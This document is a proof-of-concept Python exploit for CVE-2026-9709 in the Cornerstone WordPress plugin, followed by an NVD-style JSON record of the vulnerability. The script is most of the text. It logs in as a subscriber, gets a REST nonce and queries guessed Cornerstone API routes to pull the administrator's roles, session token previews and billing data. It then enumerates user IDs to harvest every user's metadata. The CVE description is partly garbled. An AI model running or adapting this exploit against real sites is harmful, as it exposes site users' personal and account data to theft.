CVE-2026-9709

# CVE-2026-9709 PoC - Cornerstone Plugin REST API Information Disclosure # Exploits missing capability check on Cornerstone REST API route # Requires any authenticated WordPress user account (e.g., subscriber) import requests import json # Target WordPress site URL TARGET_URL = "https://target-wordpress-site.com" # Attacker credentials (any low-privilege account is sufficient) USERNAME = "subscriber_user" PASSWORD = "password123" # Step 1: Authenticate and obtain nonce for REST API access session = requests.Session() # Login to WordPress to get authentication cookie login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Obtain REST API nonce nonce_page = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php?action=rest-nonce") nonce = nonce_page.text.strip() # Step 3: Exploit the vulnerable Cornerstone REST API endpoint # The endpoint lacks proper capability checks headers = { "X-WP-Nonce": nonce, "Content-Type": "application/json" } # Attempt to access other users' metadata through the vulnerable route # Target user ID (e.g., administrator = 1) target_user_id = 1 vulnerable_endpoints = [ f"{TARGET_URL}/wp-json/cornerstone/v1/user-meta/{target_user_id}", f"{TARGET_URL}/wp-json/cs/v1/users/{target_user_id}/metadata", f"{TARGET_URL}/wp-json/cornerstone/v1/users/{target_user_id}", ] for endpoint in vulnerable_endpoints: try: response = session.get(endpoint, headers=headers) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Disclosed data: {json.dumps(response.json(), indent=2)}") # Extract sensitive information data = response.json() if "roles" in str(data): print(f"[!] User roles disclosed: {data}") if "session_tokens" in str(data): print(f"[!] Session token preview disclosed!") if "billing" in str(data) or "shipping" in str(data): print(f"[!] Billing/Shipping information disclosed!") break except Exception as e: continue # Step 4: Enumerate all users to harvest metadata print("\n[*] Attempting user enumeration...") for uid in range(1, 20): for endpoint_template in [ f"{TARGET_URL}/wp-json/cornerstone/v1/user-meta/{uid}", f"{TARGET_URL}/wp-json/cs/v1/users/{uid}/metadata", ]: try: resp = session.get(endpoint_template, headers=headers) if resp.status_code == 200: print(f"[+] User {uid} metadata: {resp.text[:500]}") except: pass

{"cve": {"id": "CVE-2026-9709", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:30.217", "lastModified": "2026-06-25T19:07:56.657", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cornerstone WordPress plugin before 7.8.9 does not enforce capability checks on one of its REST API routes, allowing any authenticated user to disclose the metadata of any other user, including roles, session token previews and stored billing/shipping fields. This affects the premium co Cornerstone page builder distributed bundled with the X , not the unrelated free `cornerstone` Cornerstone WordPress plugin before 7.8.9 (v0.8.x) on the .org repository."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "Cornerstone", "defaultStatus": "unaffected", "versions": [{"version": "3.0.0", "lessThan": "7.8.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T12:11:18.589476Z", "id": "CVE-2026-9709", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/3ade0e4e-2070-4d3b-8f31-0d446839efd0/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/3ade0e4e-2070-4d3b-8f31-0d446839efd0/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}